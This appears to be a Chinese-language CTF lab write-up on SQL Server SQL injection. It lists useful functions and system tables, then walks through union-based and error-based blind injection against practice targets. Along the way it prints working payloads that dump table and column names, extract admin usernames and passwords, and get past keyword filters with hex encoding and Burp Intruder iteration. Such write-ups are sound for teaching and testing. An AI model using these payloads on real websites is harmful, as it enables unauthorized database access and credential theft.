1. 程式人生 > 其它 >CTF-Web:SqlServer SQL 注入

CTF-Web:SqlServer SQL 注入

目錄

相關的函式和表

SqlServer 的 SQL 注入和 MySQL 是一樣的,不同在於資料庫資訊所在的表和一些函式不一樣。

常用的函式

函式 功能
db name() 返回當前資料庫的名稱
host_name() 返回計算機名稱
current_user 返回當前資料庫的使用者名稱
substring() 字串擷取函式
@@version 檢視資料庫版本
char() ASCII 轉字元函式
cast(text as type) 字元型別轉換,如果轉換失敗會將 text 結果報錯顯示在頁面上
object_id() 根據表名返回資料庫表名 ID
object_name() 根據 ID 返回資料庫表名
col_name(object_id,column_id) 返回指定表中指定欄位(列)的名稱

內建系統表

Sysdatabases 表

Sysdatabases 表只儲存在 master 資料庫中,這個表中儲存的是所有的庫名,主要欄位有:name 資料庫名。

Sysobjects 表

SQLServer 中的每個資料庫內都有此係統表,存放著資料庫所有的表名。主要欄位有:name、id、xtype 分別是表名、表 ID、建立的物件。當 xtype='U'代表是使用者建立的表。

Syscolumns 表

Syscolumns 表位於每個資料庫中,存放著資料庫所有的欄位名。主要欄位有:name、id 分別是欄位名稱、表 ID,其中的 ID 是用 sysobjects 得到的表的 ID 號。

SqlServer 注入樣例

任務目標

靶場中的公司主頁存在 SQL 注入,使用 SQL 注入知識進行一次手工注入測試。

查詢注入點

開啟靶場,首先先找找注入點,經判斷在搜尋框可能存在 sql 注入,但是沒有找到傳參的地方。

使用 burp 抓包,發現在 cookie 後面夾帶了引數 key,值是我們傳過去想要查詢的值。cookie 一般是用來保持使用者的登入狀態,也可以儲存一些變數。

判斷注入型別

嘗試注入個單引號閉合,網頁回顯 SqlServer 報錯,並得到了查詢的 sql 語句。

觀察得到的 sql 語句,發現不是預編譯的,而是通過字串拼接來組合的,此處可以通過單引號閉合前面的語句,把剩下的語句註釋掉,這樣就能查詢成功。

"select * from ST_tNews where ST_newstitle like '%"+result+"%'";

判斷列數

判斷表有幾列,使用 ORDER BY 子句進行一個排序,看一下對幾列有效。

經二分法測試,有效的列數有 6 列。


判斷哪些列是我們能用的,令 id 引數的查詢不到結果,然後使用 UNION 進行組合查詢。網頁回顯了字串 2 ,說明第 2 列是我們可用的。

-1%' union all select '1','2','3','4',null,'6'--

獲取資料庫資訊

爆資料庫名,用第 2 個位置作為顯示位。SqlServer 的 db_name() 函式可以回顯當前使用的資料庫,我們將對它進行查詢。

-1%' union all select null,db_name(),null,null,null,null--


接下來開始爆表名,在 sysobjects 進行查詢, sysobjects 系統物件表,儲存當前資料庫的物件,xtype='u'表示查詢的是使用者建立的表名。

-1%' union all select null,name,null,null,null,null from sysobjects where xtype='u'--


st_admin 表看上去就是使用者名稱和密碼存放的表,所以接下來爆 st_admin 表的欄位,在 syscolumns 中以“st_admin”的物件 id 作為過濾條件。

-1%' union all select null,name,null,null,null,null from syscolumns where id=object_id('st_admin')--

獲取敏感資訊

接下來我們爆出 st_admin 表中的資訊,這個表有使用者名稱和密碼這種敏感資訊。

-1%' union all select null,admin+pass,null,null,null,null from st_admin--


接下來找網站的後臺,使用御劍進行後臺掃描,直接掃描可以掃出一個 /Admin 目錄。

對 /Admin 目錄進行掃描,掃出後臺登入介面。

使用爆出來的使用者名稱和密碼,成功登入後臺。

SqlServer 盲注樣例

任務目標

靶場中的訂餐系統存在 SQL 注入,使用 SQL 注入知識進行一次手工注入測試。

判斷注入型別

首先先找找注入點,在公告中看到文章有個 id,可能這個引數存在注入。

嘗試注入個單引號閉合,網頁回顯 SqlServer 報錯,但報錯的並不是 SQL 語句。

構造一個恆假條件 “and 1=2” 使得查到的結果集為空,網頁返回 SQL 語句報錯資訊,說明此處存在SQL 注入漏洞。

嘗試使用 order by 語句,但是網頁回顯的報錯資訊不是 SQL 語句,由此可以推斷該站點對一些非法字元和關鍵字進行了過濾。

使用 UNION 語句也是失敗,說明聯合查詢被過濾。

使用十六進位制編碼也失敗,看來這個過濾還是考慮的比較周到。

獲取資料庫名

不過由於報錯資訊是可見的,所以可以使用報錯過濾,這是利用了資料庫的報錯。將我們想要獲取的資訊顯示在報錯資訊上的方法。此處構造表示式“1=(select db_name())”,由於這個表示式不合法,執行時會出錯,所以這個出錯的內容就會回顯,就獲取了資料庫名。

?id=1 and 1=(select db_name()) --

獲取表名

使用相同的方法查詢表名,但是由於返回值不唯一導致報了另一個錯。

為了使返回值僅有一個條目,限制返回的記錄是top 1,也就是查詢到的第一條記錄。

?id=1 and 1=(select top 1 name from sysobjects where xtype=u) --


此處直接傳引數“u”會報錯,可以使用十六進位制轉碼再查詢。

?id=1 and 1=(select top 1 name from sysobjects where xtype=0x75) --


如果想要獲取其他行,就需要新增一個過濾條件排除前面幾行的返回。

?id=1 and 1=(select top 1 name from sysobjects where xtype=0x75 and name not in (select top 1 name from sysobjects where xtype=0x75)) --


可以使用 brup 抓包,然後將包發到測試器中,設定有效載荷在過濾條件裡面。通過過濾條件依次排除前 n 行,就能獲取第 n+1 行資料。

設定填充的資料為 1~30。

為了方便觀察,設定返回的資料顯示 title 標籤。

進行攻擊,可以看到獲取了所有可以看到的表的表名。

獲取欄位名

接下來查詢欄位名,由於此處要用 sl_admin 表名作為過濾條件,需要根據 SqlServer 的編碼進行轉碼。

使用相同的方式在syscolumns表中獲取欄位名,過濾條件是表名對應的id。

?id=1 and 1=(select top 1 name from syscolumns where id=object_id(0x73006C005F00610064006D0069006E00))--


使用相同的方式獲取其他行。

?id=1 and 1=(select top 1 name from syscolumns where id=object_id(0x73006C005F00610064006D0069006E00) and name not in (select top 1 name from syscolumns where id=object_id(0x73006C005F00610064006D0069006E00)))--


傳送到 brup 抓包,然後用相同的方式獲取所有行。